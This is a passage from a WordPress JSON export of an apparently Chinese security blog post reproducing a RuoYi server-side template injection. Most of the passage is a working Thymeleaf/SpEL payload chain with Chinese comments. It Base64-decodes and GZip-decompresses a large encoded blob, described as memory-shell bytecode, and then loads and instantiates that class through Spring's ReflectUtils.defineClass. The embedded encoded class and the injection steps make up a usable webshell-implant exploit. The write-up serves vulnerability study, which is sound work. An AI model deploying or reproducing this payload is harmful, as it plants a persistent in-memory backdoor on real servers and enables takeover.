HX%2F1YF%2BeL%2FBrGjddrMK9d%2FME7c3kHQcb3p0Vupk8Squ%2BTpdSFH9jsw%2F1QqPfSR5bI1vkXd9kn8CwPEieWCPnyJNou%2F5Nbcdm2Wwoc4VoObt4ghLr5DvIe9Bs8vTSiMtU4uVFzljI%2B2h7pGjzKk0u0hx7iWwvmv3QPLk0C7m0SOoFnNbJ5TnmiBXNX%2BSfhdgRNvpQvtzv6s3LAT8bdjsPVzvu5Omw3aYjroMAYIcVz95pjIiHwOMHE4Gpwc8Nyw4NdbhswszEt0b2aJP0%2BB3nYUZbo%2FV4Li4foXsWfXcPq2MUeApapck%2F9%2Ffza%2BQDxE9bgcPe7wjxMijBNfIcCWHy0KZsuTq%2BTiIkSidiODLWsKlHj%2BJMPI6LSIIkUWGSQnQbyqEeNP9o0SEZkqXTOVzalBQdQ1DAkxcyY%2Bkwu9iH5y0RgQ%2F8X3dDB3VgzgAL%2BRN3pjIKO2x25hNH%2FF8lcP5I5iMmBU5alI0jVHUE0pFqtlTvW53VjiuzTj5IXqAo%2BtCyVxiqvNak9W6dfIS2Fi8RDg895%2BfUdw5OeJAjzW%2FQIMxDxK%2BRGmmvkzKpYDUnnWMHz2MqmElvjYi09K2g%2FHXSx8MHEYm8qJVH29CTity98k86lSBvnfLW8GyCvHG7%2Bcj%2FW6vw7Pb7v826SuDJu6O8yNsjARyhZxeDxz07WSNjgjvAxr2bkJl855GkPXIsMpOP3qllOHU0W5cx%2Be418iL5HmwU1cWygwPMsWw7etKiifO95ONrsEm%2Bj6b7ZcqAJsOzTWn5%2FQIs5Afodo2VwBTE0oJRmzPGg06Rm%2B9wa4cGo9vPsF1B5oyhxsO7cZUJAK9r9JMDPq3Rjxx4fwh3NuxRgJAfxrcHgO50ACsb69eB%2FhHaeNwz%2BcDB5IN0PZ0kH4IV5Azwte0bcO5leOQqmD5LUtv78FjqGrwnfQuerN2A8y%2FDU%2Fvw3o0LeNm%2BdAMu4X0frJ%2BDp5jXYZ15BbBsXoUnjhO7DomuwY8jjY9A%2BtIr8H5K%2BnF8CBDIHF8Roux3bkCMviQOl9OhzJ5pe2fLtA%2BF40uKR4Qwe6bjk2XKb8u00Hejeof09sz0OXjkZfgQElYqn0X33gcbcA42YQivYQe7ic75EXSKH87chrNAzEgBt9Hfp8z09zgd2Ty%2F%2Fs634LQZnrkNL4BpMYFvZgwYnX4T3vcmLiP0SxOsUF%2BfOofv6%2Bjzj92CJqrZSt2E3iugLPyC7snsLNxDuJ25e16D9p6JGq3trW6tbhj7MLsK9S3TxnfdhO%2FZ%2BF56%2BT68vAbS3umt06%2FA9xN4BX6IwJ55y7x09EX6hKz2LFuWQ%2BIzzNaZJfVnTkHl2u3fvQa%2FjwJ%2BbC7gM%2Fj04%2Fj0U%2FCJY6L%2BFL38abxQYRtX6dtP08vP0svP03EUeygD5R1R6AwVuFTozEKhta21Q%2BKzzNbZuxWq752%2BBiVq%2FZ9%2FHdLz%2Bz5c24e%2FMhf%2F1%2Fbh5avgng9v%2FI2l8Nfh6S3znOhvbtzYh1%2B6CudQo1%2BmsxaG6vMaZf72zzDXMSy%2FSJ4iTwO3jPQM1t6GR%2BcRfHwe0hhYDkK6iGrbDCMzSPgM2IRaT9Gor51EYpr%2FFoS3wUohcjcRAPbonOmrkEeIkE%2BjfMQMcOQz81T%2FMP6HIbLM3p%2FAOVoCPkzSzMavEnITXt%2F4W%2FPbazBKXwNThlmYnLn0JVjduY5Y%2F9tX4ZFlJuxQ5P%2FmAvnXj479Nl7mafF3lpOowClMgUcPXfI4mG7j68pcfRPVGmHNwVtwHz6%2FE4nxsITaUx0DSx2fYjZ%2Bd6nal6%2Bjuv9o%2FpLZOTI6r0RnMQ0OxJwGkkK%2Bd7yAnJOQWnL%2BTZw3Uy9sMzfgn6RJ5hKWpt%2Fbh3%2BRuQZVrAn78K9uwr%2B7Cf9pb3Xjyxu%2Ff%2FpX4KXaysYbbM30Mvx3trZKr%2FvwxxQzCJWvb52%2BhCSm2srWKpKs3CQEabZWP08f9snqa%2FDS8ZK0ScwLP1EHH69KO%2FtkjVpjwVL68KE1jwEC4%2BFlOcDrl8144KF%2B%2BxoUj5hI6BfApYlfQwOpiV9kNsn60mFfIPdfhejOa%2BR%2BWgBeIQ9gwqCeyxx6ij7RHEKrFqrNnUI2aPG%2BdvsrW6ZLr5BNinUY3CLnasjnEfzdJI%2FfIOf%2Fvxiiik%2BZ5j7eJI%2BwpoUrkd17CbCoOJZSWDriabC8DeepD8j9iPunEehvwtmvw2NH3y8cc8nO4Y714HLHwiA%2BtdiyztBj8dJhP4aYWMG7skku3CRMCpXaWUGl9omN4N2EgUzTkG2S3YWuGyMMru3SQt3tRaDfwN%2F19CZxLjm4j5IyGNt7qecqPY%2BbwkGwLUD%2BGPzHwXuGns2Xir6KOyuN7Advkb3aDfJMiqRvkedqt8gHats3SOAGCacfehB%2B2ZK5hGCK19ymn4P7mZ2Vc2hB%2BtrtN1CL%2FN7qpdfBfGmfFPGttLV6fe%2F0sYHTr857g2cxZQD%2F0%2FP7wea1SiNA9szkOTO88RacI%2FPcfeM29R%2FeF1PzzYrubeY7Q4BqbyKfpVnEC2dok7o0q7vM9ucRJNfSlzZMvwAbl1CbD1%2FPoF4NVP0PbpFabZlI24fJs0laeGUWGXSDCK%2Biw87SVoTUlio%2FACtvwSqmTNJMam9i2%2FTpeYE4hW3yFdTwo%2FDiUgUnWk0h8PA2c5N005fQYxJWBqJcT5NFnI6yxRKTR4bHuRGVDJbcnkBe1KCNObfMDuW2s422GJ%2Bdt0tHo%2Ftr8MXFbg6%2Fh2M0up%2Fc%2FgK8dBXWtrF6XAMztXfPRDC7TK%2BDY2v1S3AZC%2FPGlomZYxRr0eo1WMfXS4vn21%2FBrEOJjT3Ttdu%2FQ%2BmfvEXGB97bJNOjPpu9urU6r2OrC6FmghvANqJnlVr9bngOnifjpdXPwNr9QfTl12kdeskMX32XJWAm47PnC%2Fh8m7piUdbN5LvM5JEFCa1aX8Xhu%2FckMkSHX4TtZX5%2BDB1Gm1E3BfQc2plb5MXazg3ysTTaRT6BGn1yz7RE6qe2TNcPcfyprVUK2VPo9IvI4SIw8%2FtC5Yuw8ja810xepDiE0W0a5Xkl3cSxOVDfxhDMwWkh33%2FQw4Kbtmf49%2BQ1HNokP4jVeQX7OwwGXLv9R3ALTqGKP3SkOK3Cysp9iJ%2F%2FA1RVKQ2xJwAA')},\n\/\/\u76ee\u7684\uff1a\u628a Base64 \u5b57\u7b26\u4e32\u89e3\u7801\u6210 byte[]\uff0c\u653e\u8fdb\u7b2c 1 \u6b65\u521b\u5efa\u7684 #a[0] \u91cc\u3002\n\/\/\u8fd9\u6bb5 Base64 \u662f\u4ec0\u4e48\uff1a\u4e00\u4e2a GZip \u538b\u7f29\u8fc7\u7684 .class \u6587\u4ef6\uff08\u5185\u5b58\u9a6c\u7684\u5b57\u8282\u7801\uff09\u7684 Base64 \u7f16\u7801\u3002\n\/\/Base64Utils.decodeFromString(base64\u5b57\u7b26\u4e32)\uff1aSpring \u7684\u5de5\u5177\u7c7b\uff0c\u628a Base64 \u7f16\u7801\u7684\u5b57\u7b26\u4e32\u8fd8\u539f\u6210 byte[]\u3002\n\n# \u521b\u5efa ByteArrayInputStream \u5b9e\u4f8b\uff0c\u4f20\u9012 Object[] \u4f5c\u4e3a\u65b0\u5efa\u7684\u5185\u5bb9\n*${#x=''.getClass().forName('java.io.ByteArrayInputStream').getConstructor(''.getClass().forName('[B')).newInstance(#a)},\n\/\/\u76ee\u7684\uff1a\u628a byte[] \u5305\u88c5\u6210 InputStream\u3002\n\/\/\u4e3a\u4ec0\u4e48\u9700\u8981\uff1aGZip \u89e3\u538b\u5de5\u5177 GZIPInputStream \u53ea\u80fd\u4ece InputStream \u8bfb\u6570\u636e\uff0c\u4e0d\u80fd\u76f4\u63a5\u8bfb byte[]\u3002\u6240\u4ee5\u9700\u8981\u5148\u628a byte[] \u5305\u6210 InputStream\u3002\n\/\/[B \u662f\u4ec0\u4e48\uff1a\u5728 JVM \u91cc\uff0c[B \u662f byte[] \u7c7b\u578b\u7684\u5185\u90e8\u8868\u793a\u540d\u3002forName('[B') \u5c31\u662f\u83b7\u53d6 byte[].class\u3002\n\n# \u521b\u5efa GZIPInputStream \u5b9e\u4f8b\uff0c\u4f20\u9012 ByteArrayInputStream \u4f5c\u4e3a\u65b0\u5efa\u7684\u5185\u5bb9\n*${#g=''.getClass().forName('java.util.zip.GZIPInputStream').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(#x)},\n\/\/\u76ee\u7684\uff1a\u628a\u538b\u7f29\u7684\u5b57\u8282\u6d41\u89e3\u538b\u3002\n\/\/\u4e3a\u4ec0\u4e48\u9700\u8981\uff1a\u5185\u5b58\u9a6c\u5728\u4f20\u8f93\u524d\u88ab\u538b\u7f29\u4e86\u4f53\u79ef\u3002\u73b0\u5728\u8981\u7528 GZip \u89e3\u538b\uff0c\u624d\u80fd\u62ff\u5230\u539f\u59cb\u7684 .class \u6587\u4ef6\u5185\u5bb9\u3002\n\n# \u521b\u5efa URL \u6570\u7ec4\u5b9e\u4f8b\n*${#c=''.getClass().forName('java.lang.reflect.Array').getMethods.?[name=='newInstance'][0].invoke(null,''.getClass().forName('java.net.URL'),0)},\n\/\/\u76ee\u7684\uff1a\u521b\u5efa\u4e00\u4e2a\u957f\u5ea6\u4e3a 0 \u7684 URL \u6570\u7ec4\u3002\n\/\/\u4e3a\u4ec0\u4e48\u9700\u8981\uff1a\u4e0b\u4e00\u6b65\u8981\u521b\u5efa URLClassLoader\uff0c\u5b83\u7684\u6784\u9020\u65b9\u6cd5\u7b2c\u4e00\u4e2a\u53c2\u6570\u9700\u8981\u4e00\u4e2a URL[]\u3002\u867d\u7136\u6211\u4eec\u4e0d\u4ece URL \u52a0\u8f7d\u7c7b\uff0c\u4f46\u6784\u9020\u65b9\u6cd5\u8981\u6c42\u6709\u8fd9\u4e2a\u53c2\u6570\u3002\u6240\u4ee5\u4f20\u4e00\u4e2a\u7a7a\u6570\u7ec4\u8fdb\u53bb\u3002\n\n# \u83b7\u5f97\u5f53\u524d\u7ebf\u7a0b\u5bf9\u8c61\n*${#v=''.getClass().forName('java.lang.Thread').getMethods.?[name=='currentThread'][0].invoke(null)},\n\/\/\u76ee\u7684\uff1a\u83b7\u53d6\u5f53\u524d\u6b63\u5728\u6267\u884c\u8fd9\u6bb5\u4ee3\u7801\u7684\u7ebf\u7a0b\u5bf9\u8c61\u3002\n\/\/\u4e3a\u4ec0\u4e48\u9700\u8981\uff1a\u4e0b\u4e00\u6b65\u521b\u5efa URLClassLoader \u65f6\uff0c\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u7236\u7c7b\u52a0\u8f7d\u5668\uff08parent ClassLoader\uff09\u3002\u6bcf\u4e2a\u7ebf\u7a0b\u90fd\u6709\u4e00\u4e2a contextClassLoader\uff0c\u53ef\u4ee5\u7528 Thread.currentThread().getContextClassLoader() \u62ff\u5230\u3002\n\/\/invoke(null)\uff1acurrentThread() \u662f\u9759\u6001\u65b9\u6cd5\uff0c\u4e0d\u9700\u8981\u5b9e\u4f8b\u3002\u6240\u4ee5\u4f20 null\u3002\n\n# \u521b\u5efaURLClassLoader\u5b9e\u4f8b\n*${#b=''.getClass().forName('java.net.URLClassLoader').getConstructor(''.getClass().forName('[Ljava.net.URL;'),''.getClass().forName('java.lang.ClassLoader')).newInstance(#c,#v.getClass().getMethods.?[name=='getContextClassLoader'][0].invoke(#v))},\n\/\/\u76ee\u7684\uff1a\u521b\u5efa\u4e00\u4e2a ClassLoader \u5b9e\u4f8b\u3002\n\/\/[Ljava.net.URL; \u662f\u4ec0\u4e48\uff1aJVM \u5185\u90e8\u8868\u793a URL[] \u7c7b\u578b\u3002\n\n# \u521b\u5efaStreamUtils\u5b9e\u4f8b\n*${#s=''.getClass().forName('org.springframework.util.StreamUtils').getMethods.?[name=='copyToByteArray'][0].invoke(null,#g)},\n\/\/\u76ee\u7684\uff1a\u628a GZIPInputStream \u91cc\u7684\u5168\u90e8\u6570\u636e\u8bfb\u51fa\u6765\uff0c\u53d8\u6210\u4e00\u4e2a byte[]\u3002\n\/\/\u4e3a\u4ec0\u4e48\u9700\u8981\uff1a#g\uff08GZIPInputStream\uff09\u662f\u4e00\u4e2a\u6d41\uff0c\u53ea\u80fd\u987a\u5e8f\u8bfb\u53d6\u3002ClassLoader \u8981\u52a0\u8f7d\u7c7b\u65f6\u9700\u8981\u5b8c\u6574\u7684 byte[]\uff0c\u4e0d\u80fd\u662f\u6d41\u3002\u6240\u4ee5\u5fc5\u987b\u628a\u6d41\u5168\u90e8\u8bfb\u51fa\uff0c\u8f6c\u6210 byte[]\u3002\n\/\/StreamUtils.copyToByteArray(InputStream)\uff1aSpring \u63d0\u4f9b\u7684\u5de5\u5177\u65b9\u6cd5\uff0c\u628a\u4e00\u4e2a InputStream \u7684\u5185\u5bb9\u5168\u90e8\u8bfb\u6210 byte[]\u3002\n\/\/\u7ed3\u679c\uff1a#s \u662f\u5185\u5b58\u9a6c\u7684\u5b8c\u6574\u3001\u672a\u538b\u7f29\u7684 .class \u5b57\u8282\u7801\uff08byte[]\uff09\u3002\n\n*${''.getClass().forName('org.springframework.cglib.core.ReflectUtils').getMethods.?[name=='defineClass'][1].invoke(null, 'Chat',#s,#b).newInstance()}\n\/\/\u76ee\u7684\uff1a\u628a byte[] \u52a0\u8f7d\u6210 JVM \u4e2d\u7684 Class \u5bf9\u8c61\uff0c\u7136\u540e\u521b\u5efa\u5b83\u7684\u5b9e\u4f8b\u3002\n\/\/ReflectUtils.defineClass\uff1aSpring CGLib \u63d0\u4f9b\u7684\u5de5\u5177\u65b9\u6cd5\uff0c\u5b83\u7684\u4f5c\u7528\u662f\u628a\u4e00\u6bb5 byte[] \u6ce8\u518c\u5230 JVM \u91cc\u53d8\u6210\u4e00\u4e2a Class\u3002\u53c2\u6570\uff1a\n\/\/'Chat'\uff1a\u7ed9\u8fd9\u4e2a\u65b0\u7c7b\u8d77\u4e2a\u540d\u5b57\uff0c\u968f\u4fbf\u53eb\u4ec0\u4e48\u90fd\u884c\n\/\/#s\uff1a\u7c7b\u7684\u5b57\u8282\u7801\n\/\/#b\uff1a\u7528\u54ea\u4e2a ClassLoader \u6765\u52a0\u8f7d<\/code><\/pre>\n<p>\uff08\u6ca1\u770b\u61c2\uff0c\u5b66\u5b8c\u5185\u5b58\u9a6c\u56de\u6765\u91cd\u5199\u8fd9\u4e00\u622a\uff09<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ruoyi SSTI \u590d\u73b0 \u539f\u6587\u94fe\u63a5\uff1aRuoyi SSTI \u4e0e Thymeleaf bypass\u6df1\u63a2-\u5148\u77e5\u793e\u533a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,17],"tags":[],"class_list":["post-344","post","type-post","status-publish","format-standard","hentry","category-java","category-17"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=344"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/344\/revisions"}],"predecessor-version":[{"id":345,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/344\/revisions\/345"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}